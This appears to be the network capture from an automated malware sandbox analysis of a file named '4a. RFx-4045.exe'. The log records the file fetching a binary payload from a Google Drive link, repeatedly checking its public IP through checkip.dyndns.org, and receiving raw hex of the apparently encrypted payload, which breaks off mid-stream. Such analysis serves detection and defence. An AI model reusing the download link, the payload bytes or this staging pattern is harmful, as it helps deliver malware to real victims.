Feb 14, 2025 08:30:26.421569109 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 14 Feb 2025 07:30:26 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	56847	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:26.454287052 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:27.308330059 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	56849	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:27.963551998 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:28.635436058 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	56851	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:29.249140978 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:29.913862944 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	56853	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:30.520921946 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:31.211620092 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	56855	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:31.823808908 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:33.490895987 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	56857	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:34.113938093 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:34.783020973 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	56784	172.217.23.110	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:15 UTC	216	OUT	GET /uc?export=download&id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-14 07:30:15 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 14 Feb 2025 07:30:15 GMT Location: https://drive.usercontent.google.com/download?id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-99PDjcA1l_uNqEQX_D4J2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	56794	142.250.181.225	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:16 UTC	258	OUT	GET /download?id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-14 07:30:18 UTC	5015	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iGQszWRLXRlfZSR_-h7utXv80yzbNoVICjrVhrF4y6Ys93csji_JHfSsEnQ0ebBgf65zC5ObwE Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="NyOMDI17.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 249408 Last-Modified: Thu, 13 Feb 2025 14:12:17 GMT Date: Fri, 14 Feb 2025 07:30:18 GMT Expires: Fri, 14 Feb 2025 07:30:18 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Vstfog== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-14 07:30:18 UTC	5015	IN	Data Raw: eb 39 61 94 c8 be 4a 82 b8 da 42 9d 2b a2 5d 10 42 c4 50 85 05 13 bb 0a 84 02 c6 c0 41 b0 c0 42 6b 69 b1 4b 7d 8a cc 6f 86 84 2c da 92 27 3d a0 0d 4a 63 d9 f6 e2 64 7b 2e 61 99 74 80 9e 2d 92 07 92 ce b6 53 76 06 64 f2 7c 8c 11 25 8a e0 76 64 c3 a8 2f 0a b8 5f 3e 47 83 f6 80 97 b3 1b cf 05 20 b4 ed b4 f8 cc eb 63 75 f2 2a 1f 5e df b0 12 0b 12 51 2f f7 2f 53 7f fa 31 d0 45 9f a6 20 63 03 52 fb 4b 3b 85 1b ca 48 97 6b ae 04 b7 c5 3d 2b 85 e8 f9 69 19 26 e8 a6 85 3d 7d 7e e0 c2 a4 d2 e4 65 41 c5 97 a2 64 ca 0c 3f 48 1d 83 6f ea a8 80 fa e6 5e 3a e9 f8 dc 84 e5 af 35 08 fa e6 d6 80 2e 95 a5 76 33 3a 38 35 38 94 93 33 f0 1a 33 db 6d 56 b8 a8 da 9a 73 57 fd 09 86 57 fe c6 11 48 eb 0f cf d0 33 44 35 93 42 74 84 21 cc 23 80 74 73 7c d8 6d f5 d3 d8 2b 02 1b a7 39 Data Ascii: 9aJB+]BPABkiK}o,'=Jcd{.at-Svd\|%vd/_>G cu*^Q//S1E cRK;Hk=+i&=}~eAd?Ho^:5.v3:85833mVsWWH3D5Bt!#ts\|m+9
2025-02-14 07:30:18 UTC	4668	IN	Data Raw: fb 11 45 95 62 35 7e 80 b4 98 0c c1 6a 90 42 95 5a 3e aa f1 e6 d7 1b 83 b9 14 30 5f 8e 90 70 fd 90 6e c8 80 46 41 ee 21 77 5c c6 06 23 23 4e a7 d2 4f 8a e9 0e c4 e3 77 2f 88 74 ce f4 35 6d b2 0e c0 04 04 ac a5 f0 c1 6f 77 7e f4 4f d6 6d 32 63 07 3e a1 a6 99 90 cc b6 9b cc 84 9f 32 3e 68 56 17 66 98 b1 e0 06 1b 8e 1c d9 8d 01 93 5a 8e 08 28 16 79 d7 35 f7 57 ff 29 5e c4 9e 1d 68 36 0b bc a4 cb 8e 46 a1 5e c8 0d 5a 28 e3 db 80 b9 66 7d 66 b5 e0 08 ae aa db 3c a1 69 80 05 e1 d0 eb af 78 c9 3f a2 37 cb ee bf f4 ab a1 95 08 91 0a 2a 29 21 5a 07 17 db f3 dd a4 fc 56 74 68 6d c0 4d 82 b2 38 4c 8f d6 61 5f 8d 3b 24 fc 86 50 98 1a b6 81 c2 67 69 75 0d 28 0b 82 46 6e 43 c7 ab 77 35 d6 9b 42 fa e3 cb 96 65 18 60 43 13 97 69 fb 0f 83 42 53 77 0a 7f 24 46 fc a7 76 74 Data Ascii: Eb5~jBZ>0_pnFA!w\##NOw/t5mow~Om2c>2>hVfZ(y5W)^h6F^Z(f}f<ix?7*)!ZVthmM8La_;$Pgiu(FnCw5Be`CiBSw$Fvt
2025-02-14 07:30:18 UTC	1323	IN	Data Raw: b9 70 ef 40 2b a5 58 ed c9 fb aa 07 45 0d f9 e0 af a7 c0 9e e0 59 9b 7b 7d ad cf cb 7b 65 59 e2 de c9 43 b6 6a 8c e9 24 d4 00 b3 04 d6 de 37 fb a6 b0 0a e1 16 2a 38 19 11 04 c5 ee 39 93 10 aa 8a 5a dc c5 ce 07 b7 eb 45 0b a4 b3 53 19 b3 d9 8d 2f 80 f2 f9 c9 f2 61 5f 8e 01 1a 30 ce 51 a3 d4 b3 e5 64 84 cf c1 58 6e a8 40 c8 80 b8 50 67 02 48 fe 6d 88 7e db 75 e0 7c dc 1f 76 3c 2f 90 6b 3e 07 89 e5 85 97 9b 79 cf 05 2a 69 87 b2 f8 cc eb 63 75 8c 18 1f 5e db c2 71 09 12 21 39 df ac 53 7f f0 27 2e c4 8c a0 31 6b 25 27 f7 4b 8f f2 f9 eb f0 92 55 52 27 e3 dd 42 70 26 98 8b 0c 68 aa 88 d8 a2 4f 1b 29 b8 ac d0 f2 86 14 9f b1 df cc 44 a5 11 7c 0c 52 da 67 e3 c7 e4 95 c8 20 f5 e3 dc d6 97 ed be 3d 76 c0 b6 93 84 5d 1a a4 75 39 3d 46 bb 5f 9e 93 22 f8 75 f6 db 6d bc Data Ascii: p@+XEY{}{eYCj$789ZES/a_0QdXn@PgHm~u\|v</k>yicu^q!9S'.1k%'KUR'Bp&hO)D\|Rg =v]u9=F_"um
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: 90 0f 91 ac c0 b8 41 79 13 aa 2c 6f a4 a6 86 15 ba 95 a4 22 2b 5c 6e 97 5a 0d 10 a7 d8 c7 c7 ff 68 7c 09 ca 87 3b 82 b2 38 ee 7b 7f 6f 5f 96 2c 16 86 a5 46 f7 6b c8 9e c8 67 b1 54 6c 58 0b 88 3e 3e 8f cb db 58 5a d1 9c 2b ea fd da 88 4d 81 66 69 15 97 b4 8d 3a 83 42 74 5f 67 7f 2f 28 ef b6 76 5c a8 ad 54 a9 88 4d 9a 51 c3 15 ad df c1 f0 79 b9 ba 95 2c 93 1a 81 cd 8b bb cf f9 19 f8 54 be 7d d0 b9 fd f9 9f 28 6e 42 d3 c1 16 d8 56 f9 f5 b6 c8 31 84 bb a8 5c c1 19 78 2d e8 ca e3 ed e8 5d ae e7 7f 9f 2a 8c 8c 45 2c 3c db 9f 8d b0 ca c9 fa 07 04 2a cb 1d 4d f6 d6 c0 29 f3 9d b7 39 15 2e 39 dc 8b c9 e9 29 84 79 e2 e4 c4 22 02 3a 29 1c f9 96 29 5e eb 16 fd f1 cf 2b ae d4 ad a7 e4 d3 6d 80 19 d8 e0 fd cf 20 a2 9c 66 9c ca a1 35 54 58 64 c9 bc 9b a6 cd 39 4d 1c 29 Data Ascii: Ay,o"+\nZh\|;8{o_,FkgTlX>>XZ+Mfi:Bt_g/(v\TMQy,T}(nBV1\x-]E,<M)9.9)y":))^+m f5TXd9M)
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: 16 75 01 0e 67 9d a8 e0 d0 c4 4c 58 d4 7f 40 49 ba f4 ce a2 db 9d 38 da d8 34 33 8d 58 71 be 7e 77 82 dd c5 24 b9 19 ea 63 ab 73 e0 9f 92 a8 b3 95 21 db 73 63 3e 8c 12 b8 29 71 10 f1 0c 7c ff f5 57 4e 78 aa be 33 b3 b1 c1 97 0c 80 27 87 7d 3c db 5a 3a 74 61 2f b4 b0 69 00 0b 21 02 bf 19 8f a5 fa f5 49 a6 91 c8 4d 3a cf af 56 d4 4d 87 56 1c d2 03 cc 9d 9a 30 b4 31 e9 f3 61 f8 44 29 52 43 44 ad 02 b0 20 01 58 42 32 e4 e7 8d 30 27 75 27 11 44 98 d7 d8 e8 c2 cd 5b a3 9a bc 4a bb 78 25 c3 93 43 13 34 51 e3 0b d9 30 ae 3f 96 47 79 c8 11 8e 16 c2 14 39 b0 f9 d3 6c 79 cf 1d ed 47 5c 19 b0 73 73 5f 44 6d a0 7b 71 48 e3 65 5d e3 53 4e 0f 27 6b 51 ff dd 64 a0 c8 d3 0d 88 1d b9 51 3c 22 bc da d6 be 39 87 d0 c1 cf a6 55 8e fc 11 a4 21 54 4b 85 5e 70 ef cc f2 16 1f aa Data Ascii: ugLX@I843Xq~w$cs!sc>)q\|WNx3'}<Z:ta/i!IM:VMV01aD)RCD XB20'u'D[Jx%C4Q0?Gy9lyG\ss_Dm{qHe]SN'kQdQ<"9U!TK^p
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: 1f 06 28 d7 63 81 ef 86 9f c8 59 37 c9 dc dd 94 e5 af 34 08 fb b6 1a 1e 2e d5 2e 75 33 52 91 8b 5b 94 cf 33 f0 1a 2c db 6d a7 b8 b7 56 d0 72 07 fc 2c 28 26 50 d2 05 38 49 2a d8 f8 85 2a e2 9a e0 51 bc 53 ec 2c 60 07 d1 59 c1 53 cd d3 f8 2f a0 3e bf 4b db 9e da 22 ed 92 6b 09 db 10 0f 87 21 2e 16 29 ed a2 98 d4 d5 1a 02 79 cc e1 7a 98 d2 78 d6 2c d3 98 24 42 23 e7 db f2 0d 15 97 12 56 ba 46 fd 83 6c 9c fb 1c 70 3b e8 fc a4 c7 8d 4f 63 4e d3 69 aa f0 61 03 9f f3 d4 11 f0 80 c1 26 48 7b 3f 48 64 04 63 35 1b 42 ad b0 1a 98 c1 27 27 fb 7d 40 7d ed 65 f9 be c8 b6 53 47 52 29 37 fc e9 86 5e be a0 84 d5 8d 89 f9 27 38 ff 4e f0 d3 b6 8a f3 13 bf d6 df fd 90 c3 0d 97 6e 52 16 bc ae 4c 9c 25 fb f7 0a 52 12 5c 29 4f 1d 09 76 7f 05 84 c1 69 a3 90 f2 d6 87 5b 0b 45 40 Data Ascii: (cY74..u3R[3,mVr,(&P8I**QS,`YS/>K"k!.)yzx,$B#VFlp;OcNia&H{?Hdc5B''}@}eSGR)7^'8NnRL%R\)Ovi[E@
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: c7 74 bc ed 0a 97 d1 ef 85 00 ac 86 d0 b4 1f 5f 58 ab 48 4f 74 36 4d 42 d6 37 59 7a 42 2b 3a 32 d7 ff 08 80 02 8c 7a 66 d9 65 3a 7c 39 ef a1 42 4f 2f 99 0c 06 91 ce b0 73 64 f2 42 d0 52 06 89 44 93 da 38 f1 25 76 0d 6c 3a 5c 1f 99 b2 57 44 49 3c 46 ae c0 6a 93 db 71 46 c2 d2 d6 52 80 94 7b 16 21 0b 49 c4 fc 66 2f 88 d1 35 4f 65 c3 bf 99 09 a3 c2 99 54 e9 85 6b 1c 35 38 70 9f 47 29 fc 72 ae 29 44 69 8f ea d3 3c 74 6e 8b c7 30 cf dd e7 3f f3 b4 ae a0 fc 38 4f 41 12 85 74 37 b0 84 28 cf 70 70 71 f3 5d 7d 03 3c 3f 09 fa 5c 6e 5f 76 e2 18 04 39 49 3f ee 3d 47 b7 fd 1a 86 7e df 9b fc 2e 3f ac 70 02 9b 0b 36 7c 71 4e 8d ad 9c 63 84 be ce dd 95 33 68 40 77 80 4d ee 6b 1f cc a3 87 9f 43 f0 55 87 51 e6 93 ca 9c 24 d7 a4 16 c7 09 8e 24 6a f0 72 61 db cc 5d 0d 71 80 Data Ascii: t_XHOt6MB7YzB+:2zfe:\|9BO/sdBRD8%vl:\WDI<FjqFR{!If/5OeTk58pG)r)Di<tn0?8OAt7(ppq]}<?\n_v9I?=G~.?p6\|qNc3h@wMkCUQ$$jra]q
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: da 57 15 59 61 dc e4 22 7e d2 48 d3 61 8e 02 0a b8 00 91 86 27 af 40 d4 f9 5a f6 8e 2c 9d 93 d8 7c b7 ff da ef 7c c5 e9 8a 2a 7b 1d 95 8f 40 10 59 1b dd 00 d9 87 6f f7 2a 9e a8 dc 9e 35 52 80 dd ab e6 94 41 84 6a 0a 31 12 b3 c1 80 36 79 df d2 d7 14 da c9 e8 0b d6 34 34 61 7f 19 04 14 60 6c 78 a7 a6 17 67 5d a6 4f 9a 5d 5c 7c 66 c2 32 b7 ca 11 d7 d2 9c 10 d3 64 45 95 68 f7 23 80 b4 89 00 c6 62 d6 2a ff 35 f0 aa f1 ec d7 1b 84 d6 d5 30 5f 84 9c 79 f5 86 b1 47 e9 29 c7 ef 21 7d 4c cf 69 8f 65 4e ad d3 8a b6 ea 07 59 e4 7e 40 9a 74 ce ef 35 b1 44 78 e5 2c 3a a7 a2 d2 88 6b 77 5c 95 20 8a 67 ef 06 6e 58 a1 a6 93 90 b5 9b 8b 41 e1 ed 51 3d 07 41 01 4e 11 b1 e7 0b 62 18 1d ca 82 17 f9 0a 58 0a 22 79 6d f8 35 fd 5f 8d 6b 37 c4 ee 01 53 b1 0b ad aa d5 67 34 de 58 Data Ascii: WYa"~Ha'@Z,\|\|{@Yo5RAj16y44a`lxg]O]\\|f2dEh#b*50_yG)!}LieNY~@t5Dx,:kw\ gnXAQ=ANbX"ym5_k7Sg4X
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: e6 72 93 36 45 5d 43 1b c7 ff 51 36 50 d0 bc 72 95 84 b4 a9 8a a3 d0 e2 76 c5 32 c8 cc 4a 5e 45 c8 3b 13 39 01 20 e4 ba 4b 8c e6 cb bb 15 71 d3 3d 65 19 92 f7 59 2d ae cc bc 6d 99 70 73 0c 1d a6 8e 28 a2 ae 30 a2 63 61 ab b4 4b 81 3a c0 1f b8 02 27 15 da fa e9 82 72 c8 ef 70 9a 9d fd ca c1 44 b8 0e f9 c3 93 3d a3 48 1b 62 3d 74 e9 68 88 65 58 d7 b7 11 85 d4 47 e7 c9 80 31 57 3f 44 58 54 cf 35 c9 c8 2a f2 e8 5f cf 34 1f 71 5d 10 a5 48 9c ea 67 00 77 6b 47 12 54 93 f8 0d 89 76 ab d4 3a 58 65 3a c7 23 29 18 b4 c9 c2 f7 27 92 7f 5f 3a 15 9c 2b 8c 54 9b b4 7d 38 00 ad d9 7e cb 78 3f d3 9c 75 d6 98 e3 cf 1a fc 4a ed 20 0a 55 30 89 2b 2a a0 6b 29 72 55 17 1e 29 6b 70 77 6d cf 52 e9 4b 14 50 8f 00 ef 1a 1b 8e 80 ca 4a cd 9a a3 4a b8 36 22 dc 21 2d d2 d2 2c c5 66 Data Ascii: r6E]CQ6Prv2J^E;9 Kq=eY-mps(0caK:'rpD=Hb=theXG1W?DXT5_4q]HgwkGTv:Xe:#)'_:+T}8~x?uJ U0+k)rU)kpwmRKPJJ6"!-,f
2025-02-14 07:30:18 UTC	1390	IN	Data Raw: 47 cf c8 e3 bb 6e 2a 22 3c 98 db 3f f9 66 f0 ff c4 63 83 31 7e 01 a8 84 ab 6a e2 39 7a 57 5c 7a a2 1c 4c 4a 0a 91 45 08 fd e3 b6 cd e7 5d 7d 27 87 1f 7a 70 75 38 26 26 a5 e4 c8 ff 5b 44 91 15 4d 46 24 af 3b 40 fd e2 f1 61 45 0d f9 51 9a ae be d1 3e 59 eb d3 49 bb c3 89 6d 65 2d 3e e4 d3 31 f6 4d c5 99 86 fb 69 63 3e d6 ae 40 8b 83 ac 72 dc ca 2a 48 b1 39 62 c9 81 e2 fc 4c a0 9b 40 a3 43 d1 89 ae ff 35 cb a4 b7 71 50 b3 d1 e8 9c 2e e2 f3 aa 85 a2 5b 87 1d 7c 6d a7 3e f7 d4 cd d3 64 95 cf dd 3d 6e a8 40 db 4f c8 61 76 06 60 84 1f 8e 11 aa 63 c8 f5 dc c3 a2 39 f4 b9 4c 2c 16 91 da 8c 86 a2 0c a0 cf 20 b4 e7 b4 f8 e7 e0 63 64 e3 3c 70 94 df b0 18 0b 12 40 3e 89 11 53 7f fe 19 1b c5 9f ac 4f a1 1c e8 ff 4b 9e 9d a8 d1 f0 96 23 1d 1e e3 ad 50 2b 1b 98 8b 0c 11 Data Ascii: 